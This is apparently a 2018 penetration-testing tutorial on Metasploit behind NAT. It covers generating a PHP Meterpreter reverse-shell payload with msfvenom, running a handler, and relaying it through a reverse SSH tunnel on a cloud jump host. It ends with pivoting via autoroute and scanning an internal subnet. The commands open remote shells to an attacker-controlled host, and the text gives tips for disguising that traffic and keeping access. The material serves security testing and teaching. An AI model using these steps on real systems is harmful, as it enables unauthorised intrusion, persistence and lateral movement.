How to Metasploit Behind a NAT or: Pivoting and Reverse Tunneling with Meterpreter

Niko
8 min readMar 14, 2018

--

Quite often I find myself dealing with an engagement where the target or the initial point of entry is behind a NAT or firewalled. This is not at all an unusual scenario and can be dealt with from within Metasploit.
There are many solutions, let us focus on how to utilize the Metasploit Framework here.

Reverse shell

Let’s take a vulnerable web application for example; somehow we get it to execute a PHP script of our choosing, so we upload our payload and execute it.
If the target can make connections towards the internet, but is not directly reachable, for example, because of a NAT, a reverse shell is commonly used.
That means our payload will initiate a connection to our control server (which we call “handler” in Metasploit lingo).

There are a couple of advantages to that approach, for one it is very likely that the firewall on the target or in front of it is filtering incoming traffic. For example, a webserver has no reason receiving traffic on ports other than 80 or 443.
On the other hand, outgoing traffic is easier to disguise in many cases. We could use https as the transport and use port 443 on the handler, so it could be traffic to an update server.
The third major advantage is resilience; the payload will keep the connection up and re-establish it if necessary. This is particularly useful if the handler is not running continuously.
And of course, in a real-world scenario you might get temporary access to the target or the network, just long enough to compromise, but not quite long enough.

So the first step is to create the afore-mentioned payload, this can be done from the Metasploit console or using msfvenom, the Metasploit payload generator.

msfvenom -p php/meterpreter_reverse_tcp LHOST=handler_machine LPORT=443 > payload.php

The Meterpreter payloads come in two variants, staged and stageless.
Staged payloads use a so-called stager to fetch the actual reverse shell. This minimizes the size of the initial file we need to transfer and might be useful depending on the attack vector.
Whenever there is no reason to do otherwise, a stageless payload is fine and less error-prone.

The second step is to run the handler that will receive the connection from our reverse shell. This can be done in two ways; we can simply call the payload module in the Metasploit console (use payload/php/meterpreter_reverse_tcp) or use the so-called multi handler (use exploit/multi/handler).
In both cases the listen address and port need to be set accordingly. We will use 1.2.3.4 as an example for the IP of our machine.

set LHOST 1.2.3.4
set LPORT 443

In case of running the handler from the payload module, the handler is started using the to_handler command.

In case of the multi handler the payload needs to be configured as well and the handler is started using the exploit command, the -j argument makes sure the handler runs as a job and not in foreground.

set payload php/meterpreter_reverse_tcp
exploit -j

In both cases the handler is running as a background job, ready to accept connections from our reverse shell.

[*] Exploit running as background job 0
[*] Started reverse TCP handler on 1.2.3.4:443

When we now run our previously generated payload on the target machine, the handler will accept the connection, and a Meterpreter session will be established.

[*] Meterpreter session 1 opened (1.2.3.4:443 -> x.y.z:12345) at 2039-03-12 13:37:00 UTC

This concludes the first part of this article, establishing a Meterpreter session if the target is behind a NAT or firewall.

<handler on 1.2.3.4:443> <-- (NAT / FIREWALL) <-- <target on x.y.z>

Reverse Tunneling the Handler

What if the attacker machine is behind a NAT or firewall as well?
This is also a scenario I often find myself in.
An example would be conducting an engagement over the internet.

Stepping back and giving this a quick thought, it is easy to see why our previous scenario will not work anymore.
The handler on the attacker machine is not reachable in a NAT scenario.
One approach to that is to have the payload set up a handler where the Meterpreter client can connect to. This can be a webshell or binding to a socket at the target or any other way of providing access.
In our previously mentioned scenario, the target machine itself is behind a NAT or firewall and therefore can not expose any means of access to us.

A neat way of dealing with this scenario is by establishing a reverse SSH tunnel between a machine that is publicly accessible on the internet and our attacker machine running the handler.
That way the reverse shell on the target machine connects to an endpoint on the internet which tunnels the traffic back to our listener.

From the attacker’s machine this is a simple outgoing SSH session to a device on the internet, so a NAT or firewall is no hindrance as long as we can establish an outgoing connection.
The reverse tunnel is created over this SSH session; a listener binds to a defined port on the machine we SSH to, the traffic is tunneled back to the attacker machine and funneled into a listener on it or any other host that is reachable from it.

That means we can bind our shell handler to localhost and have the reverse SSH tunnel forward traffic to it.
Essentially, this puts our handler out on the internet, regardless of how the attacker machine is connected.

For the lack of Visio skills see the following illustration:

Sophisticated drawing of jump host setup

To put all of this together we need a jump host that can receive our SSH session.
Luckily we live in the great age of cloud services and Docker, so an approach to that is to run a droplet on digitalocean, possibly using the great investiGator script to deploy and run an SSH server as a Docker service and use that as a very portable and easily reproducible way of creating jump hosts.

For the sake of simplicity, I will show this using docker-machine
First, we need to create a droplet running Docker, after getting hold of an API token for digitalocean, it is merely a matter of running the following command:

docker-machine create --driver digitalocean --digitalocean-access-token=you-thought-i-will-paste-my-own-token-here --digitalocean-region=sgp1 digitalocean
docker-machine ls

The region and name of the machine are, of course, up to you.
Take note of the IP of the newly created docker-machine.
The next step is to run the SSH server as a Docker container.

docker run -it --rm -p8022:22 -p 443-450:443-450 nikosch86/docker-socks:privileged-ports

This will bind the host port 8022 to the container port 22, since the digitalocean droplet is running its own SSHd, port 22 on the host is already in use.
Take note of the port bindings 443–450, this gives us a nice range of ports to use for tunneling.

The output of this Docker container shows us the username user and the password to use for connecting via SSH.
We want to use privileged ports in this example, so the ‘privileged-ports’ tag of the image needs to be used as well as root needs to be the user we connect as.
On the attacker machine we can initiate our SSH session and reverse tunnels like so:

ssh -R443:localhost:443 -R444:localhost:444 -R445:localhost:445 -p8022 -lroot ip.of.droplet

More ports can be added as needed, just make sure to expose them to the docker host.

Going off of the example above, let us recreate the payload, this time using the IP of the droplet.

msfvenom -p php/meterpreter_reverse_tcp LHOST=ip.of.droplet LPORT=443 > payload.php

In our Metasploit console, we need to change the listening host to localhost and run the handler again

set LHOST 127.0.0.1
set LPORT 443
exploit -j
[*] Exploit running as background job 0
[*] Started reverse TCP handler on 127.0.0.1:443

If you execute the payload on the target the reverse shell will connect to port 443 on the docker host, which is mapped to the docker container, so the connection is established to the listener created by the SSH daemon inside the docker container.
The reverse tunnel now funnels the traffic into our exploit handler on the attacker machine, listening on 127.0.0.1:443.

[*] Meterpreter session 1 opened (127.0.0.1:443 -> x.y.z:12345) at 2039-03-12 13:37:00 UTC

The beauty of this setup is that now you can reconnect the attacker machine at any time, just establish the SSH session with the tunnels again, the reverse shell will connect to the droplet, and your Meterpreter session is back.
You can use any dynamic DNS service to create a domain name to be used instead of the droplet IP for the reverse shell to connect to, that way even if the IP of the SSH host changes the reverse shell will still be able to reconnect eventually.

Pivoting

Given that we now have a Meterpreter session through a jumphost in an otherwise inaccessible network, it is easy to see how that can be of advantage for our engagement.

Just like with regular routing configuration on Linux hosts, we can tell Metasploit to route traffic through a Meterpreter session. Regardless of how many hoops we are jumping through to connect to that session, it can be used as a gateway to a specified network.

One way of doing that is using the autoroute post exploitation module, its description speaks for itself:

This module manages session routing via an existing Meterpreter session. It enables other modules to ‘pivot’ through a compromised host when connecting to the named NETWORK and SUBMASK.

It features an autoadd command that is supposed to figure out an additional subnet from a session and add a route to it. While this sounds nice, let us stick to explicitly setting a route using the add command.

In our example the compromised host has access to a private network at 172.17.0.0/24.

meterpreter > run post/multi/manage/autoroute CMD=add SUBNET=172.17.0.0 NETMASK=255.255.255.0
[*] Running module against hostname
[*] Adding a route to 172.17.0.0/255.255.255.0...
[+] Route added to subnet 172.17.0.0/255.255.255.0.

To verify we can print the metasploit routing table.

meterpreter > run post/multi/manage/autoroute CMD=print
[*] Running module against hostname
IPv4 Active Routing Table
=========================
Subnet Netmask Gateway
------ ------- -------
172.17.0.0 255.255.255.0 Session 2

Traffic towards that subnet will be routed through Session 2. The next step could be to scan for hosts running SSH in 172.17.0.0/24.

meterpreter > background
[*] Backgrounding session 2...
msf > use auxiliary/scanner/portscan/tcp
msf auxiliary(scanner/portscan/tcp) > set RHOSTS 172.17.0.0/24
RHOSTS => 172.17.0.0/24
msf auxiliary(scanner/portscan/tcp) > set RPORTS 22
RPORTS => 22
msf auxiliary(scanner/portscan/tcp) > run
[+] 172.17.0.1: - 172.17.0.1:22 - TCP OPEN
[+] 172.17.0.2: - 172.17.0.2:22 - TCP OPEN
<snip>

Summing up, we had a reverse shell connect to a jump host, where an SSH tunnel was used to funnel the traffic back into our handler. We were able to maintain access even when moving or changing the attacker machine. We then performed lateral movement from the compromised host by utilizing the autoroute post exploitation module and routing metasploit traffic.

--

--